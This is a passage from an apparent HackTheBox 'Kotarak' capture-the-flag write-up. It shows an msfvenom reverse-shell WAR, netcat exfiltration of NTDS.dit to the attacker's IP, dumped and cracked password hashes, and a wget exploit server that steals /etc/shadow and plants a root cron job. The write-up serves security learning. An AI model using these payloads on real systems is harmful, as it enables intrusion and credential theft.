&lt;p&gt;We&amp;rsquo;ll create a WAR file of a simple reverse shell with msfvenom and then deploy it (just like we did with the &lt;a href="https://davidhamann.de/2019/12/03/htb-writeup-jerry/"&gt;Jerry box&lt;/a&gt;).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.44 LPORT=1234 -f war -o revshell.war
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(We know we&amp;rsquo;re targeting a 64-bit system as the manager app gives us this information).&lt;/p&gt;
&lt;p&gt;Once deployed, we start a listener &lt;code&gt;nc -lvnp 1234&lt;/code&gt;, and then click on the deployed &amp;ldquo;revshell&amp;rdquo; application.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Revshell gives 404" loading="lazy" src="https://davidhamann.de/images/kotarak-revshell-404.png"&gt;&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;re getting a 404! I believe this is related to the default page settings. The easiest way to access the app is by looking inside the war file and getting the name of the JSP file. As WAR files are just zip files, we can do &lt;code&gt;unzip -l revshell.war&lt;/code&gt; and see the name: &lt;code&gt;kvlaagcipgr.jsp&lt;/code&gt; in my case.&lt;/p&gt;
&lt;p&gt;Accessing &lt;code&gt;http://10.10.10.55:8080/revshell/kvlaagcipgr.jsp&lt;/code&gt; now triggers our reverse shell correctly.&lt;/p&gt;
&lt;h2 id="escalating-to-atanas"&gt;Escalating to atanas&lt;/h2&gt;
&lt;p&gt;Getting a proper shell via &lt;code&gt;python -c &amp;quot;import pty; pty.spawn('/bin/bash')&amp;quot;&lt;/code&gt;, &lt;code&gt;&amp;lt;Ctrl&amp;gt;Z&lt;/code&gt;, &lt;code&gt;stty raw -echo&lt;/code&gt;, &lt;code&gt;fg&lt;/code&gt; (see &lt;a href="https://davidhamann.de/2020/02/10/htb-writeup-tartarsauce/"&gt;previous posts&lt;/a&gt; for more on that), we can now look around what we have access to. Right in tomcat&amp;rsquo;s home directory, we find the following folder: &lt;code&gt;to_archive/pentest_data&lt;/code&gt;. In it are two files that look like copies of a a) NTDS.dit file – the Active Directory database file where objects, including user hashes, are stored –, and b) Windows registry data, most likely the SYSTEM hive.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; file *
20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit: data
20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin: MS Windows registry file, NT/2000 or above
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can transfer the files to our machine via netcat:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# listen on our machine
nc -lvnp 4300 &amp;gt; ntds.dit

# send on victim machine
nc 10.10.14.44 4300 &amp;lt; 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A quick &lt;code&gt;md5sum *&lt;/code&gt; tells us whether the transfer was successful.&lt;/p&gt;
&lt;p&gt;If we indeed have the NTDS.dit and the SYSTEM registry hive, we should be able to extract users and hashes. We can do this very easily with &lt;a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py"&gt;&lt;em&gt;secretsdump&lt;/em&gt; from &lt;em&gt;Impacket&lt;/em&gt;&lt;/a&gt;. I learned about it in the article &lt;a href="https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/"&gt;&amp;ldquo;Extracting Hashes and Domain Info From ntds.dit&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; secretsdump.py -ntds ntds.dit -system reg.bin LOCAL

[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from ntds.dit 
[...]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We&amp;rsquo;re getting lots of users, machines and hashes back. Most likely we&amp;rsquo;ll need atanas&amp;rsquo; or Administrator&amp;rsquo;s password to proceed, so let&amp;rsquo;s get cracking:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;john --format=nt --wordlist=rockyou.txt hashes
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Trying two standard wordlists – rockyou and 000webhost from &lt;a href="https://github.com/danielmiessler/SecLists"&gt;seclists&lt;/a&gt; – we quickly get both hashes cracked:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Administrator:f16tomcat!
atanas:Password123!
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Trying to use any of them to open a SSH session (for root or atanas) fails.&lt;/p&gt;
&lt;p&gt;Looking a bit more around on the machine, we see that we have multiple network interfaces (&lt;code&gt;ifconfig&lt;/code&gt;) and can also identify a particular ARP cache entry to 10.0.3.133 on the &lt;code&gt;lxcbr0&lt;/code&gt; interface.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; ifconfig

eth0 Link encap:Ethernet HWaddr 00:50:56:b9:bc:8e 
 inet addr:10.10.10.55 Bcast:10.10.10.255 Mask:255.255.255.0
[...]

lo Link encap:Local Loopback 
 inet addr:127.0.0.1 Mask:255.0.0.0
[...]

lxcbr0 Link encap:Ethernet HWaddr 00:16:3e:00:00:00 
 inet addr:10.0.3.1 Bcast:0.0.0.0 Mask:255.255.255.0
[...]

&amp;gt; arp

Address HWtype HWaddress Flags Mask Iface
10.0.3.133 ether 00:16:3e:c9:bd:b1 C lxcbr0
10.10.10.2 ether 00:50:56:b9:90:ea C eth0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Checking with &lt;code&gt;nc 10.0.3.133 22&lt;/code&gt; we see the &lt;a href="https://linuxcontainers.org"&gt;container&lt;/a&gt; host is alive and a SSH server is listening. Unfortunately, our passwords don&amp;rsquo;t work here either.&lt;/p&gt;
&lt;p&gt;Taking a step back and looking at the sshd_config on the main host, we see that only root is allowed to login. So maybe the creds work when we use them directly in our existing shell via &lt;code&gt;su&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;&lt;code&gt;su - atanas&lt;/code&gt; with password &lt;code&gt;f16tomcat!&lt;/code&gt; works! We have now escalated to atanas.&lt;/p&gt;
&lt;h2 id="getting-root-in-the-container"&gt;Getting root in the container&lt;/h2&gt;
&lt;p&gt;Interestingly, atanas owns two files in the /root directory (&lt;code&gt;app.log&lt;/code&gt; and &lt;code&gt;flag.txt&lt;/code&gt;):&lt;/p&gt;
&lt;p&gt;&lt;code&gt;app.log&lt;/code&gt; looks like an Apache access log file. We see 2 minute apart GET requests from 10.0.3.133 (the host we discovered earlier) with a user agent of &lt;code&gt;Wget/1.16&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] &amp;#34;GET /archive.tar.gz HTTP/1.1&amp;#34; 404 503 &amp;#34;-&amp;#34; &amp;#34;Wget/1.16 (linux-gnu)&amp;#34;
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] &amp;#34;GET /archive.tar.gz HTTP/1.1&amp;#34; 404 503 &amp;#34;-&amp;#34; &amp;#34;Wget/1.16 (linux-gnu)&amp;#34;
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] &amp;#34;GET /archive.tar.gz HTTP/1.1&amp;#34; 404 503 &amp;#34;-&amp;#34; &amp;#34;Wget/1.16 (linux-gnu)&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is probably a cron job set up to run every two minutes. The user agent gives away that an old version of wget is used.&lt;/p&gt;
&lt;p&gt;Doing a quick check for known vulnerabilities for this wget version, we quickly find &amp;ldquo;GNU Wget &amp;lt; 1.18 - Arbitrary File Upload / Remote Code Execution&amp;rdquo; via &lt;code&gt;searchsploit wget&lt;/code&gt; or &lt;a href="https://www.exploit-db.com/exploits/40064"&gt;exploit-db.com&lt;/a&gt;, respectively.&lt;/p&gt;
&lt;p&gt;This exploit seems to be exactly what we need in this case. You can read about the details on the exploit page, but in short: we&amp;rsquo;re able to trick wget into storing a local file by redirecting the request to a FTP server. By sending a &lt;code&gt;.wgetrc&lt;/code&gt; file, we can change the behavior of wget (if run from the home directory) on the &lt;em&gt;next&lt;/em&gt; request to send us file contents of any file the user of the cron job has access to (if root, all) and/or to define a destination directory for fetched files. Doing the latter, we can return a file in crontab format, store it in /etc/cron.d (via the &lt;code&gt;.wgetrc&lt;/code&gt; setting) and then get any command to execute when the cron is run (we can set it to execute every 1 minute).&lt;/p&gt;
&lt;p&gt;The exploit script contains almost everything we need, so we&amp;rsquo;ll just adjust it minimally. It also comes in handy, that we already have a python ftp server package (pyftpdlib) installed on the box (check with &lt;code&gt;pip list&lt;/code&gt;) :-)&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s only one part that is missing: how can we setup a webserver to listen on port 80 (we can see the requests are not coming through the other ports) when we a) are not root, so cannot use privileged ports and b) cannot modify the httpd&amp;rsquo;s config, place .htaccess files, or control the Apache service in general.&lt;/p&gt;
&lt;p&gt;The missing piece is &lt;code&gt;authbind&lt;/code&gt; and it took me waaaay too long to figure this out.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;authbind allows a program which does not or should not run as root to bind to low-numbered ports in a controlled way.
(&lt;a href="http://manpages.ubuntu.com/manpages/xenial/man1/authbind.1.html"&gt;man page&lt;/a&gt;).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;authbind&lt;/code&gt; is installed on the machine, so it&amp;rsquo;s possible to do something like &lt;code&gt;authbind nc -lvnp 80&lt;/code&gt; and listen on privileged port 80 as our low-priv user. Doing this, we can also verify that we indeed get a request every two minutes on this port:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;atanas@kotarak-dmz:/var/log/apache2$ authbind nc -lvnp 80 
Listening on [0.0.0.0] (family 0, port 80)
Connection from [10.0.3.133] port 80 [tcp/*] accepted (family 2, sport 46080)
GET /archive.tar.gz HTTP/1.1
User-Agent: Wget/1.16 (linux-gnu)
Accept: */*
Host: 10.0.3.1
Connection: Keep-Alive
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Cool! So let&amp;rsquo;s set up our attack and use the code just like described in the &lt;a href="https://www.exploit-db.com/exploits/40064"&gt;proof of concept on exploit-db.com&lt;/a&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; mkdir /tmp/ftp
&amp;gt; cd /tmp/ftp
&amp;gt; vim .wgetrc # and paste the following contents

post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell

&amp;gt; vim server.py # and paste the following contents
&lt;/code&gt;&lt;/pre&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;SimpleHTTPServer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;SocketServer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;wgetExploit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SimpleHTTPServer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SimpleHTTPRequestHandler&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;do_GET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# This takes care of sending .wgetrc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;We have a volunteer requesting &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; by GET :)&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Wget&amp;#34;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getheader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;User-Agent&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	 &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;But it&amp;#39;s not a Wget :( &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_headers&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Nothing to see here...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Uploading .wgetrc via ftp redirect vuln. It should land in /root &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;301&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;new_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ftp://anonymous@&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;:&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;/.wgetrc&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FTP_HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FTP_PORT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Sending redirect to &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Location&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_headers&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;do_POST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# In here we will receive extracted file and install a PoC cronjob&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;We have a volunteer requesting &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; by POST :)&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Wget&amp;#34;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getheader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;User-Agent&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	 &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;But it&amp;#39;s not a Wget :( &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_headers&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Nothing to see here...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;content_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getheader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;content-length&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;post_body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content_len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Received POST from wget, this should be the extracted /etc/shadow file: &lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;---[begin]---&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;---[eof]---&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;post_body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Sending back a cronjob script as a thank-you for the file...&amp;#34;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;It should get saved in /etc/cron.d/wget-root-shell on the victim&amp;#39;s host (because of .wgetrc we injected in the GET first response)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Content-type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;text/plain&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_headers&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ROOT_CRON&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;File was served. Check on /root/hacked-via-wget on the victim&amp;#39;s host in a minute! :) &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HTTP_LISTEN_IP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;10.0.3.1&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HTTP_LISTEN_PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;
